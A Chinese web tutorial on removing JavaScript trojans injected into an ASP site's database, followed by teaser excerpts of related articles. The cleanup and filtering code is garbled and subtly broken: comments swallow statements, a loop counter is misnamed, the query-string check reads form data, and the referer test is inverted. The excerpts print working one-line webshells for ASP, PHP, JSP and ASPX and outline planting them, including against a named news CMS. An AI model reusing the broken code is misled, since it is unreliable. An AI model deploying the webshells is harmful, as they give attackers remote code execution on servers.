ASP网站中数据库被挂木马的解决方案

本文我们详细介绍了ASP数据库被挂木马的详细解决方案之编程处理的方法,解决方案分为以下三步:

第一步:

为现有数据库做好备份。

第二步:

执行如下ASP文件,这样就可以去掉数据库当中的JS木马:

注:conn.asp自己去写了。

'这里放入JS木马内容:请记得改为自己数据库中的JS木马内容。

<!--#include file="conn.asp"--> 

<% 

Server.ScriptTimeOut=180 Set rstSchema = conn.OpenSchema(20) 

k=1 

Do Until rstSchema.EOF '遍历数据库表 

If rstSchema("TABLE_TYPE")="TABLE" Then 

response.write K&".<font color=red><b>"&rstSchema("TABLE_NAME") & "</b></font>:" '显示表名Set rs=Server.CreateObject("ADODB.Recordset") 

sql="select * from [" & rstSchema("TABLE_NAME")&"]" 

rs.open sql,conn,1,3 For i=0 to rs.fields.count-1 '遍历表中字段If int(rs(i).Type)=129  

or int(rs(i).Type)=130 or int(rs(i).Type)=200 or int(rs(i).Type)=201 or int(rs(i).Type)=202 or int(rs(i).Type)=203 Then'只处理字段类型为字符型的字段 

conn.execute("update ["&rstSchema("TABLE_NAME")&"] set "&rs(i).name&" =replace(cast("&rs(i).name&" 

 as varchar(8000)),'这里放入JS木马内容','')") response.write rs(i).name &" "&rs(i).Type &" "'显示执行过的字段名。 

End If 

Next 

response.write "<br>" 

End If 

rstSchema.MoveNext 

kk=k+1 

Loop 

response.Write "执行成功" 

%> 

如果数据库表很多的话,上面的遍历数据库结构未执行完就被IIS给停止了。在这时候可以在:

If rstSchema("TABLE_TYPE")="TABLE" Then

当中适当加入k值的范围,如:

If rstSchema("TABLE_TYPE")="TABLE" k>10 and k<20 Then

这样的话就一次只操作9个表。

第三步:

根据数据库JS注入的特性(会包括<script、</script>和http://这样的字符),在conn.asp里面放入如下代码:

Function Cheack_Sqljs()'防止数据库外链JS注入:true为发现外链JS注入。 

Dim F_Post,F_Get 

Cheack_Sqljs=False 

If Request.Form<>"" Then'表单提交时的检测For Each F_Post In Request.Form If (Instr(LCase(Request.Form(F_Post)), 

"<script")<>0 or Instr(LCase(Request.Form(F_Post)),"</script>")<>0)  

and Instr(LCase(Request.Form(F_Post)),"http://")<>0 Then 

Cheack_Sqljs=True 

Exit For 

End If 

Next 

End If 

If Request.QueryString<>"" Then'QueryString提交时的检测For Each F_Get In Request.QueryString  

If (Instr(LCase(Request.Form(F_Get)),"<script")<>0 orInstr(LCase(Request.Form(F_Get)),"</script>")<>0)  

and Instr(LCase(Request.Form(F_Get)),"http://")<>0 Then 

Cheack_Sqljs=True 

Exit For 

End If 

Next 

End If 

End Function 

Function CheckDataFrom()'检查提交数据来源:True为数据从站外提交过来的 

CheckDataFrom=True 

server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")) server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))  

if mid(server_v1,8,len(server_v2))<>server_v2 then 

CheckDataFrom=False 

end if 

End Function 

If Cheack_Sqljs or CheckDataFrom Then 

Response.Write "<Script Language=JavaScript>alert('禁止执行,非法操作。');</Script>" Response.End() 

End If 

关于ASP数据库被挂木马时的编程处理方法就介绍到这里了,希望本次的介绍能够带给您一些收获,谢谢!

时间: 2015-09-08

asp,php一句话木马整理方便查找木马

特把经常用到的网页后门的木马整理下,如果不全请大家补全他,大家在网站混口饭吃,都不容易何必呢 asp一句话木马 文件常见内容 <%If Request("#")<>"" Then Execute(Request("#"))%> execute(request("#")); eval(request("#")); php一句话木马 <?@include($_POST["

ASP语言实现对SQL SERVER数据库的操作

目前管理信息系统已从传统的客户机/服务器(C/S)模式转向了浏览器/服务器(B/S)模式,特别是微软公司推出它的新产品ASP语言之后,这种转变更加迅猛.管理信息系统的核心是对数据库进行包括添加.修改和查询等等操作,ASP提供的ADO数据库接口控件,使得程序员再也勿需编写复杂的CGI程序了,而只要用几句简单的语句即可实现以上操作.1.系统环境 PII 350,Ram 64M,WINNT Server 4.0, Service Pack4, IIS 4.0, SQL Server7.0. 2.系统功

ASP通过ODBC连接SQL Server 2008数据库的方法

创建数据库连接文件[dsn文件]的方法 创建 ODBC DSN 文件 在创建数据库脚本之前,必须提供一条使 ADO 定位.标识和与数据库通讯的途径.数据库驱动程序使用 Data Source Name (DSN) 定位和标识特定的 ODBC 兼容数据库,将信息从 Web 应用程序传递给数据库.典型情况下,DSN 包含数据库配置.用户安全性和定位信息,且可以获取 Windows NT 注册表项中或文本文件的表格. 通过 ODBC,您可以选择希望创建的 DSN 的类型:用户.系统或文件.用户和系统

asp.net上传文件到数据库的解决方案

现在,我们来看存放文件的数据库表结构,这里,我们给出建立表的标准SQL语句: CREATE TABLE tblBooksUpload ( DocID int NOT NULL IDENTITY Primary Key , DocTitle varchar (200) , Doc image, DocType varchar (50) , Entrydate datetime Default GetDate() ) 以上的语句中,我们看到数据表tblBooksUpload包含五个字段: ·字段Do

浅谈ASP数据库下载漏洞

作为脚本漏洞的头号杀手锏--数据库下载漏洞,现在已经被越来越多的人所熟知.在这个信息化技术更新飞快的时代,漏洞产生后随之而来的就是各种应对 的招数,比如改数据库的后缀.修改数据库的名字等等.很多人以为只要这么做就可以解决问题了,但事实往往不如你我所愿,即使你这么做了也难逃被高手攻击的 命运.为此我们有必要去了解一些攻击的手法,来增强自己的安全技能. 1.强制下载后缀名为ASP.ASA的数据库文件 大多数的网管为了节省时间,网站上的文章系统.论坛等程序都是直接下载别人的源程序再经过部分修改后使用的

asp实现读取数据库输出json代码

复制代码 代码如下: Function GetTable(Table,Where,Order,OrderSort,curpage, pagesize,MiniJson) 'Author : nigou '使用方法 : Response.Write GetTable(Table表名,Where条件,Order主键(必须),OrderSort(asc,desc),curpage当前页, pagesize每页条数,MiniJson是否输出为miniUI格式) '     dim i, j ,rs   

JSP一句话木马代码

复制代码 代码如下: <%  if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());  %> 这个 后门估计不用我说了吧.还是提示一下咯.保

ASP.NET列出数据库活跃链接的方法

本文实例讲述了ASP.NET列出数据库活跃链接的方法.分享给大家供大家参考.具体分析如下: 这里列出数据库的活跃链接.主要使用geeric列表和一个贮存器,创建一个泛型列表的链接,如果他们是活跃的,那么他们将显示在导航了. //First in C# where you create the controller action method //to create the method that will populate all content details //add the follow

一句话木马的原理及利用分析(asp,aspx,php,jsp)

一句话木马的适用环境: 1.服务器的来宾账户有写入权限 2.已知数据库地址且数据库格式为asa或asp 3.在数据库格式不为asp或asa的情况下,如果能将一句话插入到asp文件中也可 一句话木马的工作原理: "一句话木马"服务端(本地的html提交文件) 就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为 <%execute request("

asp控制xml数据库的经典代码

NO.1--建立一个XML数据库data.xml <?xml version="1.0"?> <records> <record> <name>caca</name> <qq>154222225</qq> <email>root@3ney.com</email> </record> <records> NO.2--建立对象CreateObject 建立da

一句话木马入侵EASYNEWS新闻管理系统

实例一:"一句话木马"入侵"EASYNEWS新闻管理系统"      "EASYNEWS新闻管理系统 v1.01 正式版"是在企业网站中非常常见的一套整站模版,在该网站系统的留言本组件中就存在着数据过滤不严漏洞,如果网站是默认路径和默认文件名安装的话,入侵者可以利用该漏洞直接上传ASP木马程序控制整个网站服务器. Step1 搜索入侵目标 使用了"EASYNEWS新闻管理系统 v1.01 正式版"的网站,在网站页面的底部版权声

asp.net jscript 一句话木马

min.aspx 复制代码 代码如下: <%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%> 复制代码 代码如下: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/x

asp一句话木马原理分析

通过HTTP协议来访问 一句话木马的使用范围(我只列举了2种): 1)只有数据库备份的情况 数据库备份成asp文件时候,不出现" 编译错误,缺少脚本关闭标志%>" 2)SA权限的时候,一般先写入一句话,图个方便..(当然,直接tftp上传鸽子运行,那更快) tftp -i ip get server.exe 一句话木马<%execute request("a")%>的原理: 首先知道 execute()函数,是用来执行asp代码的.就是负责执行我们

MySQL结合使用数据库分析工具SchemaSpy的方法

近来,我和一帮老客户一起工作,他们让花时间给他们说一下在他们新环境中使用的新工具.其中,我发现的一个非常有用的工具是SchemaSpy. SchemaSpy是Java开发的的工具(要求java 5或更高版本的支持),主要用来分析数据库中数据模型的元数据,并且能生成基于浏览器可视化的显示.通过点击就可了解数据表的层次结构,父子表关系等,主要通过HTML 链接或者实体关系图来表达.它也被设计成用来帮助解决由于约束而导致的数据库关联失败的迟钝错误. 我所喜欢ERD工具所能做的一件事是能快速的生成一个图

mysql下为数据库设置交叉权限的方法

这就需要在 MySQL 中对用户权限进行修改,授予需要的权限. 本文将演示这种情况,并给出详细的解决步骤. 本文示例的配置如下: Discuz!数据库名:discuz_7_sc_utf8数据库用户名:discuz_mysql权限:操作 discuz_7_sc_utf8 的全部权限 SupeSite/X-space数据库名:ss_601_xs_401_sc_utf8数据库用户名:ss_mysql权限:操作 ss_mysql 的全部权限 出现情况:安装 SupeSite/X-space 时无法检测到

mysql 导入导出数据库、数据表的方法

Linux下均在控制台下操作.导入数据库:前提:数据库和数据表要存在(已经被创建) (1)将数据表 test_user.sql 导入到test 数据库的test_user 表中[root@test ~]# mysql -uroot -p test < /www/web/test/test_user.sql (2) 将数据库 test.sql 导入到 test 数据库test 中[root@test ~]# mysql -uroot -p test < /www/web/test/test.sq

五款常用mysql slow log分析工具的比较分析

启用 slow log 有两种启用方式:1, 在my.cnf 里 通过 log-slow-queries[=file_name] 2, 在mysqld进程启动时,指定--log-slow-queries[=file_name]选项 比较的五款常用工具mysqldumpslow, mysqlsla, myprofi, mysql-explain-slow-log, mysqllogfilter mysqldumpslow, mysql官方提供的慢查询日志分析工具. 输出图表如下: 主要功能是, 统

java连接Mysql数据库的工具类

一个封装好的链接Mysql数据库的工具类,可以方便的获取Connection对象关闭Statement.ResultSet.Statment对象等等 复制代码 代码如下: package myUtil; import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLExceptio

超越MySQL 对流行数据库进行分支的知识小结

简 介 MySQL 是历史上最受欢迎的免费开源程序之一.它是成千上万个网站的数据库骨干,并且可以将它(和 Linux®)作为过去 10 年里 Internet 呈指数级增长的一个有力证明. 那么,如果 MySQL 真的这么重要,为什么还会出现越来越多的核心 MySQL 产品的高端衍生产品?这是因为 MySQL 是免费的开源应用程序,所以开发人员总是可以获得其代码,并按照自己的想法修改代码,然后再自行分发代码.在很长的一段时间里,在开发人员自己的生产环境 中,没有任何值得信任的 MySQL 分支.

mysqlsla慢查询分析工具使用笔记

且该工具自带相似SQL语句去重的功能,能按照指定方式进行排序(比如分析慢查询日志的时候,让其按照SQL语句执行时间逆排序,就能很方便的定位出问题所在) + ------------- 安装mysqlsla慢查询日志分析工具 ------------- + 复制代码 代码如下: yum -y install perl-ExtUtils-CBuilder perl-ExtUtils-MakeMakeryum -y install perl-DBI perl-DBD-MySQLyum -y insta

mysql表优化、分析、检查和修复的方法详解

本文实例讲述了mysql表优化.分析.检查和修复的方法.分享给大家供大家参考,具体如下: 这里介绍对数据库的管理常规就是进行预防性的维护,以及修复那些出现问题的内容. 进行检查和修复通常具有四个主要的任务: 1. 对表进行优化 2. 对表进行分析(分析并存储MyISAM和BDB表中键的分布) 3. 对表进行检查(检查表的错误,并且为MyISAM更新键的统计内容) 4. 对表进行修复(修复被破坏的MyISAM表) 一.对表进行优化 优化表有很多方式实现: OPTIMIZE TABLE语句.mysq

.NET Visual Studio 代码性能分析工具

下面通过图文并茂的方式给大家介绍下,具体内容如下: 软件开发中的性能优化对程序员来说是一个非常重要的问题.一个小问题可能成为一个大的系统的瓶颈.但是对于程序员来说,通过自身去优化代码是十分困难的.幸运的是,有一些非常棒的工具可以帮助程序员进行代码分析和性能测试,从而大大简化程序员进行代码性能优化的过程.MSDN杂志2011年7月份曾发布主题为".NET代码分析工具和技术"的那一期,让广大程序员收获颇丰.四年过去之后,这些工具又进一步做出了很多改进,同时也出现了更多的选择.本文对当前主流

理解和使用Oracle 8i分析工具LogMiner

正在看的ORACLE教程是:理解和使用Oracle 8i分析工具LogMiner.Oracle LogMiner 是Oracle公司从产品8i以后提供的一个实际非常有用的分析工具,使用该工具可以轻松获得Oracle 重作日志文件(归档日志文件)中的具体内容,特别是,该工具可以分析出所有对于数据库操作的DML(insert.update.delete等)语句,另外还可分析得到一些必要的回滚SQL语句.该工具特别适用于调试.审计或者回退某个特定的事务. LogMiner分析工具实际上是由一组PL/S